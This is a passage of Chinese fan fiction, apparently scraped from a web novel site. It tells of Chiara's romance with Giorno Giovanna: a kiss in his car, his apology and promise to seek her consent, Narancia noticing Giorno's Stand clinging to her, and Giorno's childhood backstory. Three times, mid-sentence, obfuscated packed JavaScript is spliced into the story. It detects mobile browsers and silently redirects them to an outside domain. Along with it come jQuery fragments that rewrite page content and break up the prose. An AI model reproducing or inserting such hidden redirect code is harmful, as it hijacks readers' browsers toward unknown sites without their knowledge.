然后这位奇怪的客人就这么在店里呆了一整天,直到乔鲁诺过来接我下班,他才神出鬼没地突然消失不见。 其实是很可疑的行为,但是因为对方看上去实在太天真单纯了,我又觉得他做出的一切都在情理之中。 “怎么又有空过来了?”把心思从奇怪的客人身上收回来,我问乔鲁诺。 “最近刚好比较有时间。”他说,“琪亚拉不想见到我吗?” “怎么说呢……你出现的频率太高,让我觉得你有不务正业的嫌疑。”我半开玩笑地回答。 乔鲁诺拉开车门让我上了车,一边问我晚餐的计划,一边道: “我是已经把其他事情都处理好了才过来的。” 我把话题拉回到晚餐上:“我想吃披萨。” “我知道有一家不错的店。”他立刻附议。 我不由得问:“你怎么什么都知道?” 听到这个问题,乔鲁诺微笑起来,脸上流露出一丝复杂情绪。 我无法分辨那到底是什么,只看得出来他既高兴又不太高兴的样子。 “有一阵子,我总是守在机场门口等待外国游客。”他说,“那段经历很有趣。” “哦,你当过‘导游司机’吗?”我指出。 “差不多,”乔鲁诺说,“有时候还会接送一些本地的朋友……有个客人,总是迷迷糊糊的,上了我的车好多次,但是总是认不出我。” “那他可真是没眼光,”我说,“如果是我,肯定会第一次见面就记住帅气的乔鲁诺。” 乔鲁诺又微笑起来,这次的笑容多了几分古怪。 “不一定吧。”他难得没有顺着我把话说下去,“或许我那时候真的很不起眼呢?” 我撇撇嘴:“不,我才不信呢。你怎么看都和‘不起眼’这个词不沾边吧。” “这句话原封奉还给琪亚拉。”乔鲁诺不紧不慢地说。 我不敢置信:“你是开始拿我逗乐了吗?” 乔鲁诺:“……” 我接着控诉: “这才过去几天,你就开始拿我开玩笑了?原来那个绅士有礼貌的乔鲁诺呢?你把他藏到哪里去了?还给我。” “我对您失礼了吗,琪亚拉小姐?”乔鲁诺于是半开玩笑地配合着我道,“那么我为我的失礼向您道歉,您要怎么样才能原谅我呢?” 他竟然跟上了我无聊的幽默感。 我情绪高涨起来。 “不原谅。”我说。 “太残忍了,”乔鲁诺语气遗憾地说,“您让我心碎。” “是吗?”我挑眉,“我可没听见心碎的声音,你不会是在骗我吧?” “是真的。”他突然临时在路边停了车,转过脸,握住我的手,放到他胸前。 那双漂亮的绿色眼眸直直地和我对视。 “见不到您的时候,我犹如孤魂,心里总是缺了什么,”他说,“但是和您在一起,这颗心的跳动就总是平稳而饱满……请不要让我心碎,小姐,我的心确凿无疑是属于您的。” 咚、咚、咚。 我听不到他的心跳,只感受得到手掌下他的血液涌动,但是我的耳朵里出现了自己的心跳声,而且那声音在不断的加速。 我感觉到自己四肢有点发软。 短短的一天过去,乔鲁诺已经迅速成长得让我不知如何应对。 5. 5 在感情博弈中,我很少败下阵来。 无爱者无惧,我从来没有真的向谁交付过真心,自然就没有弱点,不可能会落于下风。 但是乔鲁诺不一样。 他不需要我的弱点,他只是简单地克服初见时的青涩,就能轻松用那双蛊惑人心的眼睛将我玩弄于股掌之间。 对上那双眼睛,就算他什么都不做,也能将我斩于无形之中。 然而糟糕的是,他不仅有一双漂亮的眼睛,还有一张巧舌如簧的嘴,上下唇瓣一碰,就能从中流露出花蜜一样芬芳的话语。 我暂时抵抗不过,逃跑退场。 “知道了……”我试图把手抽回来。 他虚虚用力捏了一下我的指尖,然后就似笑非笑地盯着我,放任我往后退缩。 “开个玩笑而已,你怎么演起歌剧了。”我别过头去,告诉自己不能再被他的美色蛊惑。 我努力盯着车窗外某个虚无的点,嘴巴轻飘飘地说出一些不受自己掌控的话语: “花言巧语的男人最差劲了。” 等我意识到自己说什么的时候,已经来不及了。 在感情戏里向来游刃有余的我,当然知道什么时候可以说真心话,什么时候不可以说。 现在就是不应该说真心话的那个【黑暗时刻】。 男人这种生物,最爱自我标榜深情。 如果在他沉浸在自己深情表演里的时候拆穿他,我们之间的好感度会下降的。 逢场作戏,这本该是我最擅长的,但今天我遇到了滑铁卢。 意识到这点,我不免开始有点焦虑。 但这句话也不是不能补救。 我迅速压下多余的躁动情绪,调动起所有神经,绞尽脑汁地思考着应该怎么挽回局面。 “你说得对。”但是,在我想出来对策以前,乔鲁诺先开口了,“但是,我只是想要好好地表达自己的想法而已。” “你可以对此保持怀疑和警惕,我完全支持你的理性。”他说,“琪亚拉,你是我的法官,我在争取你对我下达的有利裁决……我今天为自己进行的辩论,能争取到一些优势吗?” 来之不易的恋爱上位者局面,被他三言两语颠倒过来,我被他重新捧回这段关系的中心。 那种他对我了如指掌的感觉又来了。 他知道我喜欢占据优势,知道我戒备深重,他在让着我,心甘如怡。 我终于明白他为什么会给我一种熟悉的感觉了,当初在图书馆,那个混血孩子身上给我的感觉也是如此—— 他们同样看穿了我光鲜外表下的灵魂。 只是乔鲁诺比那个锋芒毕露的孩子更温和,所以没能引起我的抵触和不安。 他们是不一样的。 意识到这一点,我紧绷的神经终于稍微的、放轻松了下来。 “不告诉你,”我坏心眼地回答,“我要休庭。” 他没有意见,握住方向盘,汽车继续行驶。 我转头重新看向他的侧脸,意识到他的状态似乎比刚才轻松许多。 他是真的没有为我这糟糕的性格感到生气。 脾气真好啊,乔鲁诺。 …… 没错,这个时候的我,是真情实感地把乔鲁诺·乔巴那当成了一朵无害娇弱的小白花。 很久以后,我才意识到,自己把真相曲解得有多离谱。 但那都是以后的事情了。 今天的我,对食物的在意远比对男朋友的在意要多。 吃过了美味披萨,我在回程的路上哼起了不成曲的小调。 乔鲁诺握住方向盘的手抬起一个指尖,试图跟着打一段节拍,被我当场抓住,指控“行车不规范”。 “危险驾驶要不得哦。”我佯装严肃地对他进行教育。 他神态轻松,言语中全是对自己车技的自信:“不会有危险的。” “我才不想把生命浪费在验证这种事情上呢。”我说。 他微微地勾起了唇角。 “好的,”几乎没有任何犹豫,能屈能伸的乔鲁诺立刻认错,“我错了,我会改正的。” 这下哑口无言的轮到了我。 我目瞠口呆地盯着他,真想知道这个人到底是由什么构成的,为什么能把每一次的对决都赢下来,还赢得这么轻松。 太离谱了吧,这难道就是传说中的天克? 我遇到了独属于我的克星? 我开始陷入思考。 路途转瞬即止,没等我思考出个结果,乔鲁诺就把车子停下来,我一抬头,发现自家住处就在眼前。 该下车了。 我挎起小包。 金发男人突然伸手,扣住了我的手腕,阻止了我的离去。 我回过头看他:“怎么……唔?!” 还没来得及把话说完,声音就被不讲武德的偷袭者吞进了唇齿之间。 我睁大了眼睛,还没反应过来发生了什么,唇瓣就被轻咬了一口。 “可以为您的骑士赐下更多封赏吗,小姐?” 那低沉的声音缭绕在耳畔,挠得我脸颊滚烫发痒。 “你这不是已经行动起来了吗?”我有点恼怒。 先斩后奏算什么骑士? 简直就是道德沦丧! “有吗?”他又用那双漂亮的绿色眼睛蛊惑我了,脸上一派无辜,“我怎么不记得了?发生了什么吗?” “……” 无耻。 他竟然能这么无耻。 我大为震惊。 昨天那个被我调戏一下就会耳朵泛红的孩子呢? 被谁调包了? “你……”我想要说什么,可是话到嘴边,心情又凌乱起来,“我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171623|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很可爱,琪亚拉。”他又欺身上前了一点,我被迫往后倒向车窗处,后脑勺却没有磕到冰冷的玻璃。 他伸出手捏住我的脖颈,垫在我的脑袋后面,与此同时,我听见他的声音朦朦胧胧地贴在我的耳廓处,顺着肌肤传导上来。 我能感受到自己身体的颤抖,那低沉的嗓音像一阵电流,麻痹了我半个身子。 “突然这么容易害羞……真让人意外,怎么回事?”他问。 我费劲地抓住他胸前的衣物,想要推开他,但是使不上力气。 “我才要问怎么回事吧……你昨天还不是这样的。”我能明显感觉到,自己连声音都在打颤,细若蚊呐。 我听到一声闷笑。 “因为你比昨天要更好接近,”然后他用依旧平淡而理性的声音这么对我说道,“所以让我忍不住就胆子大了起来……你今天是不是比昨天要更喜欢我了一些?” “……你真的好讨厌,你嘴巴里说出的每一句话都好讨厌。” “你知道吗?用你昨天的话来说,琪亚拉,你现在的声音听上去像是在向我索吻。” 虽然知道了这个男人很会花言巧语,可当他说出这句极具冲击力的话语的时候,我的头脑还是忍不住一瞬间为之空白。 他在说什么啊?他知道自己在说什么吗? 不是,他怎么好意思说得出口的? 这种话说出来杀伤力真的太强了,乔鲁诺应该进监狱,判处无期徒刑,到底是谁把他放出来害人的? 脑子里迷迷糊糊的,我含糊着支吾了一瞬,想说点什么找回场子。 可是几乎要融化成糖浆的脑子还没找到凝固的冰冻点,就听见他再次抛出一颗炸.弹。 “所以,我努力讨好您的报酬呢,小姐?”他问,“赖账可不是什么良好行为。” 冲突加剧,过度的压迫终于唤醒了躯体大军的反击。 ……说什么报酬啊? 局面突然变得好可怕,他好危险。 我不知道哪里涌回来一股力量,不管三七二十一,用力将双手往他胸前一推。 他似乎没想到会发生这样的转折,被我推搡得往后一仰。 抓住机会,我连包都不要了,哆哆嗦嗦地急着把门打开,手脚并用地往外爬,关上车门就往家里跑。 乔鲁诺的车在身后响起了一声喇叭,我充耳不闻,把家门关上,呆坐了一会儿,才反应过来,恼怒地抓起沙发上的抱枕往门上一摔。 该死的—— 花言巧语的男人果然可怕! 我真的、最应付不来这种类型了! 蜷缩坐在沙发上,我把脑袋埋进臂弯里,回忆起自己刚才那丢脸得像青涩少女的画面,发出一声绝望而崩溃的呜咽。 被裹挟在外套里带回来的手机响起信息提示音,我抬头,转过眼,看向屏幕。 6. 6 我不是没有认识过擅长甜言蜜语的男人。 但是那些男人和乔鲁诺比,都少了一份外表的优势和言语的真诚。 有一些话从别的男人嘴里说出来,让人听了只想冷笑; 而乔鲁诺无论说什么,都像是裹着漂亮糖衣的迷.药,你心甘情愿地吞下去,并且为此神魂颠倒。 他不显山不露水,却有这样不知不觉令人信服的能力。 我想很少有人能抵抗住这种神秘的诱惑。 为了杜绝不良诱惑,我狠下心来,快速地划掉信息提示,把乔鲁诺加入了免打扰名单。 在我的心灵冷静下来以前,我拒绝和他交流。 手机恼人的提示音停止了,我像鸵鸟似的自我封闭在房间里,门口又响起了门铃声。 我充耳不闻。 铃声很快也转为寂静。 但这还没完,我想到第二天我还要上班,乔鲁诺可能会在我上班以前守在门口…… 虽然这么做是很麻烦,我自认对他来说我可能没有有魅力到这种程度,但是万一呢? 到时候我要怎么面对他? 我假设得入迷,心慌意乱,稀里糊涂的,都不知道是怎么睡过去的。 但是睡眠有一个好处,它可以刷新人的大脑。 第二天一觉起来,我明显感觉到自己的状态已经恢复了,过度激烈的情感重新被理性压倒,回到了黑暗之中。 这样才对。 我一边这么胡思乱想想着,一边忐忑期待又抗拒地等待着乔鲁诺的出现。 但乔鲁诺一直没有出现。 无论是在我家楼下、咖啡店外,还是我上下班的路途中。 只不过在我离开柜台片刻的时候,那只我遗落在乔鲁诺车里的手提包,不知何时,悄然被放到了柜面上。 我伸出脑袋,极力四处张望着,但始终没能找到那个我想象中的身影。 失落感不免一丝一缕的、缓缓向我袭来。 我开始抓心挠肺,忍不住想去看他给我发了什么信息,但大脑另一部分负责理智的区域,又严厉地警告着我: 这是欲擒故纵! 这么低级的手段,你可不能上当! ……我才不会上当。 我一点都不好奇他是怎么回事。 我这么反复地给自己洗脑着,然后默不吭声地继续工作。 昨天在店里呆了一下午的古怪客人,今天又来了,而且是一大早就出现了。 这次他带着堆成一座小山似的作业。 我每次抬头往他的方向看去,都能看见他把脑袋死死埋在作业堆里,周身冒出难以忽略的、几乎要实质化的怨气。 “搞不懂、搞不懂、真的完全搞不懂啊!!!”我听见这个看上去年纪还不大的客人烦躁得几乎要哭出来了。 一边这么说着,他一边疯狂揪着自己的头发,一副很生气但无处发泄的憋屈样。 学习是这样的。 我对可怜的学生党心下生出怜悯之意。 反正闲着也是闲着,我走到他桌前,轻声询问:“需要帮忙吗?” 话虽如此,可我也已经脱离知识的海洋很久了,如果面前的男孩是哪个高校的学生,我估计也没有把握帮助他。 然而这份忐忑在男孩把作业转了个方向、推到我面前来时,消失了个干干净净。 ……这份让他束手无策,苦恼了近小半个小时的作业,只是最基础的图表题。 学习算不上优秀,但好歹正常被不错的大学录取的我,完全看不出来这道题目相较于他的年龄来说,难度在哪里。 但是,当我带着点惊讶地抬起头,对上对方那双清澈得过分的双眼时,题目难不难的,忽然就不重要了。 ……嗯,总感觉他做不出来这些题目也是应该的。 虽然这么说很冒犯,但这位学生客人真是表里如一的简单好懂呢。 趁着店里不忙,我抽开他对面的椅子,接过一支笔,简单给了他一些说明,指导他完成题目。 “哦哦……你很厉害嘛!你说的我都能听得懂!” 他很高兴。 我问他有没有带手机。 他一下警惕起来:“你问这个做什么?” “我可以给你推荐一些线上课程,”我和他说,“你在做题之前看一下基本讲解,很快就会懂的,网络上的老师比我讲得还要好。如果他讲到什么你不理解的地方,你可以再来问我。” 头巾男孩犹豫了一下,最后乖乖掏出了自己的手机,但是一边交出手机,他一边还不忘呲牙咧嘴地对我道: “那你帮我找一下课吧,是这个意思吧?找一下课就好咯,不要看我其他东西哦。” “我不会这么干的。”我微笑着和他保证。 他发出小动物一样的哼唧声。 我接过手机,简单操作了一下,然后还给他。 他拿回手机,看见屏幕上的课程,眼睛刷一下就亮了。 我不再关注他,转身离开,只是在回到柜台的时候,若有所感地往外看了看,男孩正一边看着课程,一边偷瞄我。 直到我和他的目光对视上,他才猛地收回自己的视线,然后欲盖弥彰地挠挠脸颊,接着佯装全神贯注地投入到学习中去。 多亏了这位野生的客人,我煎熬的工作时间稍微好度过了一点。 给他讲题目陪他学习,虽然没有工资,却好过我满脑子都是“乔鲁诺为何那样”。 等到我给他续上第三杯加满糖的咖啡的时候——我终于知道了这位客人的名字。 “我叫纳兰迦。”他说。 他还告诉了我他的年龄,令人震惊的事情发生了,他竟然和我同龄。 “你为什么还要学这些东西?”我不能理解。 纳兰迦控制了力道,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171624|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拳砸在桌子上,压低了声音,恼火极了: “我明明已经从学校毕业了。有个家伙——总之就是有个家伙,他说我应该继续学习!然后大家就开始一起盯着我学习了!如果我不愿意的话就会发生可怕的事情!” 说到这里,他打了个冷战。 “……那很可怜了呢。”我同情极了,“我觉得你很聪明,但是你可能脑子转得太快了,同时想的东西太多,很难专注,学习对你来说很枯燥吧。” “对对对,”听到我的评价,纳兰迦一副找到知己的激动模样,“就是这样,我的脑子里总是嗡嗡嗡的有很多声音……” 他向我大倒苦水。 我听了一半就开始走神,思绪又飞到了不应该去想的乔鲁诺身上。 乔鲁诺现在在做什么呢? 他都快一整天没有出现了。 我有点……有点想念他。 虽然一开始只是当成玩笑开始交往,一点也不在意他的心情,可是现在想到乔鲁诺,就觉得心里酸酸涩涩的。 说了那么多好听的话……结果还不是莫名其妙就闹失踪了? 虽然我不理他,可是他不觉得是自己先太过分了吗? 因为有着这种玩笑一样的恋人身份,就可以肆无忌惮地挑拨我,扰乱我的人生轨迹,然后若无其事地离开吗? 一点也不真诚。 我昨天,只是、太害怕,所以逃走了而已。 我最害怕的,就是有人想要和我谈及真心。 而在昨天,有那么一瞬间,我真的感觉他要把我的心,从我的胸膛里剖开、剜走了。 我只是害怕,乔鲁诺。 如果我真的是审判你的法官,你为什么不再多向我呈上一些证据,让我赦免你的嫌疑呢? 可是,如果他真的向我证明了他的无罪嫌疑,我又应该拿他怎么办呢? 我不免迷茫起来,直到纳兰迦说到动情处又锤了一下桌子,我才被桌面传来的震感惊醒。 “……嗯,再说下去,你可能做不完这些题目了,你要不要先做题试试呢?”我转而开始安抚他。 纳兰迦崩溃地抱着脑袋逃避了一会儿现实,然后才认命地开始继续学习。 这一天过去得很慢。 送走客人,整理店铺,回到家里,我才意识到冰箱里已经没有库存了。 连吃了两天餐厅,竟然对我原本规律的生活造成了这么大的影响。 我在附近简单买了些东西,回到家里,锅里的食材烹制到一半,我盯着锅里逐渐变色的食物,突然忍无可忍。 把汤锅的盖子盖上,我丢开汤勺,直奔手机,解锁了屏幕就要看乔鲁诺到底给我发了什么信息。 他怎么能……怎么能这样就突然销声匿迹? 这和我对他到底心不心动无关,我就是不能接受这样的结果。 他不能无缘无故把我丢下。 7. 7 我原本担心乔鲁诺会给我发太多信息,让我无法招架,所以我特地给他设置了信息免打扰模式。 可当我好奇起他的动态,解开限制,我发现,我们之间的聊天记录还停留在昨天晚上。 他甚至只发了一句话。 “你的包落下了。” 然后就没有更多别的信息了。 我对着聊天页面沉默了一会儿,脑子里乱糟糟的。 他明明表现得……好像我是什么格外珍贵的宝物……但是,实际上,他却这么对我。 连一条特别的信息和关心都没有。 我感到有点失落,放下手机,压抑着情绪。 仔细想想,他那天的举动也没什么,是我反应大过了头。 ……我在期待什么呢? 完成了晚餐,我把心思调整回自己身上。 窗台上的矮牵牛开花了,熙熙攘攘一片,虽然时值深夜,我依旧能从模糊的轮廓中想象还原出它们的美丽。 楼下灯光闪了闪,我下意识抬起头看过去,那个消失了一整天的身影就这么猝不及防地闯入我眼底。 一切像是重新回到了昨晚,乔鲁诺站在我家楼下,身旁停着接送我回家的小汽车。 车型流畅,每一寸曲面就算在夜色下也淡淡泛着朦胧而冰冷的光晕。 车头灯闪烁几下,最后终于沉寂于黑夜。 乔鲁诺举起了手机,我若有所悟,下一刻,果然房间里的电话响了起来。 我犹豫片刻,最后再看了他一眼,放下洒水壶,回到房间,接通电话。 “喂?”我已经能把心情收拾得平静,“有什么事吗?” 乔鲁诺:“我是来向你道歉的,昨天晚上,我似乎把你吓得不轻。你当时拒绝和我沟通,我不知道该如何解决我们之间的问题。” “你是来向我兴师问罪的?”我问,“我难道没有独处的权利吗,先生?” “我没有这个意思……关于这件事情,我从昨天到现在思考了很久,你愿意花费一些时间,听听我反思的结果,然后给出你的想法吗?” 他说话的声音很平静,好像我们之间没有发生过特别的事情,他也没有无缘无故失踪一整天那样。 这件事情不完全是乔鲁诺的错,一声不吭便单方面切断和他的联系的我,也有很大问题。 可是理智是一回事,情感是另一回事,我不可抑制地生出一点情绪。 “你消失了一整天,原因就是你在反思?……真够认真啊。” 我说。 “不完全是这样,”乔鲁诺的声音听起来有些许的疲惫,“实际上,今天发生了很多事情……不过那些都是我自己应该处理的问题。我想说的是,琪亚拉,我真的尽力了。” “我希望能尽力完成一个合格的恋人该完成的部分。” 他说。 “但是我不得不向你坦诚,我暂时还做不到这一点,我需要你的帮助,请你告诉我,我要怎么做会更好?” 他诉说起自己的困惑,语气里真的带着十足的迷茫: “我原本以为你表现出来对我的亲切,是默许我可以更近一步的靠近你,可是很明显,你仍然有着自己不可逾越的原则,而我冒犯了你,对吗?” 他都已经诚恳到这个地步了。 而且他分析出来的话语逻辑清楚,剖析得深入,远比我自己混乱的感受,还要贴近我当时的心情。 “对。”我说,“是有那么一点。” “所以你生气、并且逃避我的理由,是我会做出你无法把控的行为,是吗?”他又接着往下问。 “……嗯。” 我好像猜到他要说什么了。 “那么,”果然,乔鲁诺很快道,“如果我向你保证,从这一刻开始,我,乔鲁诺·乔巴那,将会在每一次与琪亚拉小姐的相处中,充分尊重她的所有决定,一切社交亲密行为的推进,都要在得到琪亚拉小姐的允许下进行……你能不再生气,并且原谅我吗?” 我还是第一次听见类似的承诺,新奇极了。 “你的意思是,如果以后我都不同意,你就再也不会靠近我了,是吗?”我问,“如果我让你以后都不要出现在我面前呢?” “我不会让那种事情发生的。” 乔鲁诺说。 “这是两个问题。就算你不想见到我,我也会继续出现。但是,我会先征求你的意见。当你对我们之间的关系也有所期待,我们的相处才是有意义的。” 我:“……你不觉得你总是一本正经地在说很奇怪的话吗?” “我很严肃。”他这回言简意赅了。 我沉默了片刻。 最后,我从房间里走出来,走到窗台边,往下眺望,正好与乔鲁诺四目相对。 “……我不明白,”我放轻了声音,“以你的条件,耐心,帅气,温柔,理性,你完全可以找到比我更好的女孩子。为什么你要纠缠着我这种麻烦精不放呢?” 昨天的那件事情,换在任何其他女孩子身上,可能就这么过去了,除了我这样的怪胎,没有人会介意的。 “不,琪亚拉,你在意的是很重要的事情,你不是麻烦精。” 他否决了我的说法。 “我拥有你无法抗衡的力量,在昨晚那样的场合下,你是被迫卷入我设置的场景之中,失去了主动权。” “……你真的很奇怪。” 我哑口无言了。 距离太远,我看不清他此刻脸上的表情。 但是我能听见他的声音,慢慢的、慢慢的,变得更柔和了一些。 “我不在乎,”他说,“我只在乎你是否满意我的答案。” ——这个世界的观念,对我来说是多余的。 ——我只需要得到心爱之人的认可。 奇异的,我好像读懂了他言下的未尽之意。 从昨天晚上就一直哽在候间,咽不下去又吐不出来的一口气,随着乔鲁诺一句又一句的安抚烟消云散。 即便是我自己,都找不到更贴切的形容,来说明我这两天烦闷心情的由来。 而他却站在我的角度,替我拨清了迷雾……原来我是为了这个感到不安和抗拒啊。 “……你真是个好人。”我由衷地对乔鲁诺感慨道。 乔鲁诺轻笑了一声。 “不……算了。”他说,“如果你也同意,那么我们今天的谈话就到此为止吧。” “明天,”他仰起头继续看着我,“我会依旧在这个地方等待你,你愿意吗?” “我愿意,先生。”我回答。 “我可以现在上楼见一见你吗?”他又问,“见不到你的这一天,我都很想你。” “……留到明天吧。” “好的,晚安。” “晚安。” 真奇怪,我们就这么面对面打着电话和好了。 第二天清晨,我看到新闻,昨天郊区的一座工厂发生了爆炸,警方说那是他们捣毁的制毒点。 “本次行动能够顺利进行,要感谢我们部分热心市民的相助。希望接下来的日子我们能够进一步携起手来,共同努力,为那不勒斯创造出更美好的城市风景。” 代表发言人这么总结道。 真了不起。 我回忆了一下,从我的少年时代到现在,这座城市确实发生了很大的改变。 并且这变化还在持续向着好的方向一直发展。 菲奥娜曾经和我透露过,在那不勒斯的城市暗处,盘踞着一股名为“热情”的势力。 热情组织的教父将重心放在了这座城市,他一直努力让这座城市远离毒品的侵蚀。 “这是一个黑.帮组织该干的事情吗?”第一次听说这件事情的时候,我感到十分不可思议。 菲奥娜耸肩:“谁知道呢,反正他们确实干了很多好事,不过这不代表着他们不危险。……如果能抓住一个‘热情’成员,我肯定马上就能升职了,还真希望有那么一天呢。” …… 黑手.党.斗争离我的生活太遥远,我简单想了一下,就不再去思考了。 乔鲁诺今天按时早早地出现,我坐进车里,他突然伸手递来一枚镶着细钻的绢花胸针。 我吓了一跳:“你……” 青年手掌翻覆,胸针变成了一只不到巴掌大的小雀鸟,“唧唧”的小声叫唤起来。 “送给你。”他说,“它和你很相衬。” 然后小鸟像是被训练过一样,往我的肩膀飞去,绕着我打圈,流露出亲昵姿态。 我小心地伸出指头,揉了揉幼小生物脑袋上的绒毛,柔软温热,光滑细腻。 “真可爱。”我于是忍不住微笑起来。 “你更喜欢小鸟还是胸针?”他问。 “我都喜欢。”我回答。 “麻烦认真地挑选一个吧,阁下。”他又说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171625|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好吧,既然他都这么说了,我歪歪脑袋,想了想。 “嗯……那我选……”我故作深沉,接着朗声道,“乔鲁诺!” 就这样,一切都回到了我熟悉的轨迹上。 乔鲁诺总是被我逗得无可奈何。 我吝啬着真心的付出,一切以玩闹为先,感情什么的绝对不会谈。 只是,在我兴高采烈,为自己拿下了今天的胜利而沾沾自喜,到了目的地就准备要离开的时候,乔鲁诺微微、微微地叹了口气。 “你今天看起来比之前要高兴多了。”他这么温柔地对我说道。 “我替你感到高兴,可是……”他碧绿色的眼眸流露出一丝忧郁,把手放在自己胸前,他认真地道,“偶尔也考虑考虑我的心情吧。” 一边这么说着,他一边朝我摊开手掌。 我意识到什么,抿着唇思考了一下,就试探着把手放到了他的掌心处。 他握住我的指尖,侧过脸,闭着眼睛,轻吻了一下。 在那之后,一反常态的,乔鲁诺没有任何进一步的动作和请求。 举起在半空的手臂很快开始发酸。 我收回手,迟疑着,试图将那只手收回来。 “我累了。”我说,向他暗示我想要离开了。 “你相信人的精神力能够凝结成世界上的另一个自己吗?”他突然发问。 我有点懵:“啊?” “如果我有这样的存在,大概会总是想跟着你吧。”他说。 好可爱的说法。 我还是第一次听到他这么孩子气的假设,心下好笑。 “可以。”我说,“如果有那样的东西,我勉强同意它跟着我——你很期待不是吗?” 乔鲁诺微笑。 ……然后,大概只过了一小会儿,我就下车了。 乔鲁诺信守了承诺,只要我不开口,他就不会再做出任何可能被称之为冒犯的举动。 …… 奇怪的客人纳兰迦,今天又早早地到场了。 他提前蹲守在店门口,一见到我过来开门,突然一蹦三尺高,嘴里飙出一声惊叹: “你身上……!” 我被他说得莫名其妙,低头往自己身上看了看,干净整洁,什么也没有。 纳兰迦激动得手舞足蹈,脸色五彩纷呈: “黏在你身上不肯下来呢……哎呀好吓人……” 我摸不着头脑:“你在说什么呢?” 纳兰迦还想说话,却不知道怎么了,他突然神色一正。 “我在说,呃,今天我们来听其他乐队的歌吧!嗯!歌!” 他说。 ……我果然还是不懂这个家伙的脑回路。 我放弃了和纳兰迦的沟通,转过身去打开店门。 在我注意不到的角落里,纳兰迦猛地蹲了下来,对着地板疯狂吐气,拍拍胸口: “好恐怖好恐怖好恐怖。刚才那冒出来的绝对是杀气吧?因为被揭穿了真面目恼羞成怒吗?” “乔鲁诺你真的好逊啊……” 碎碎念叨完以后,纳兰迦又抬头,隔着玻璃门,看了眼店铺里面的年轻女孩,还有自她身后、将她牢牢抱入怀中的人形精神体。 那是乔鲁诺放出来的,被称之为“替身”的存在。 “好恐怖……看着真的好奇怪……喂,小子,恋爱就要堂堂正正地谈啊!你这算什么?好阴暗!” 手机亮起,纳兰迦不用看都知道,肯定是还没走远的乔鲁诺在对自己发表意见。 他抓起手机看了一眼,果不其然,新的来信人是乔鲁诺。 乔鲁诺: :) 乔鲁诺: 这是我个人私事,麻烦你不要评价,纳兰迦。谢谢。 纳兰迦: 你都把保护她当任务派发给我了,这算哪门子私事? 乔鲁诺: 你要加入我们之中吗? 纳兰迦: 什么话?! 乔鲁诺: 只是局外人的话,发生了什么都和你无关,只归我个人处理吧? 纳兰迦: …… 乔鲁诺: 所以是私事。 请你不要在意多余的事情,把任务完成就可以了。 纳兰迦: 哇你这家伙! 她迟早要知道真相的吧,都不担心吗? 8. 8 ……坦白地说,乔鲁诺并不想在琪亚拉面前暴露自己的真实身份。 十五岁以前,他的人生和其他人的人生相比,并没有什么特别,甚至还有点灰暗。 乔鲁诺的母亲是一位日本女性,和传统的日本女性不太一样,这位女士极度追求“自由”。 她与不知名的男子情投意合,生下乔鲁诺,却又在之后失去了和那名男子的联系,并且常常将乔鲁诺独自丢在家里,置之不理。 后来,这位女性与一名意大利男人结婚移民,乔鲁诺跟着远渡重洋,并且更改了自己的姓名。 但是母亲的婚姻没能给乔鲁诺带来一个完整的家庭,他终于拥有了长期在家庭中缺位的“父亲”,这个父亲却总是对他施以家暴。 行走在意大利街头,和当地居民格格不入的混血长相,又总是受到群体天然的排斥。 乔鲁诺一度觉得人生至此境地,已经没有任何未来可以期待,他在世上不过是一具躯壳,徒劳等着生命的终结。 在某个夏日的午后,他遇见了与他截然相反的琪亚拉。 尽管没有和这位高年级的学姐近距离接触过,但乔鲁诺沉默地在周围同学的交谈中、拼凑出了一个完整的琪亚拉。 琪亚拉拥有一个幸福美满的家庭。 她的父亲继承了当地的一个小型葡萄园,母亲开设了一家牙科诊所,祖父母担任过大学教授,外祖父母在地球的另一端从事法律工作。 琪亚拉生活优渥,父母恩爱,她长相美丽,性格又温柔,广受欢迎。 在学校里,有这么一句玩笑似的说法: 在这座校园里,你可以尽管去得罪校长和老师,也不能让琪亚拉皱一下眉头。 完美的琪亚拉就是这座不大的学校里、学生们唯一能接触到的最闪耀的存在。 她就像夜间最负盛名的北斗七星,人们或许会在白昼到来的时候短暂地忘记她,却永远会在夜晚抬起头来看见她的时候,朝着她指引的方向前进。 学校里其他同样不受欢迎的、“失败”的孩子,曾经做过这样的猜测: 如果能够得到琪亚拉的认可,那么,至少在学校里,他们也可以成为风云人物。 而原本就是风云人物的校园顶尖团体,更是喜欢将琪亚拉牢牢绑在他们身边,以此巩固他们阶级的地位。 乔鲁诺原本对于这些传言并没有实感,琪亚拉这样的校园之星离他实在太过遥远。 直到那个夏日的午后—— 在体育课程中隐约受到排挤,无法成功组队的他,迷茫地爬到了一棵大树上。 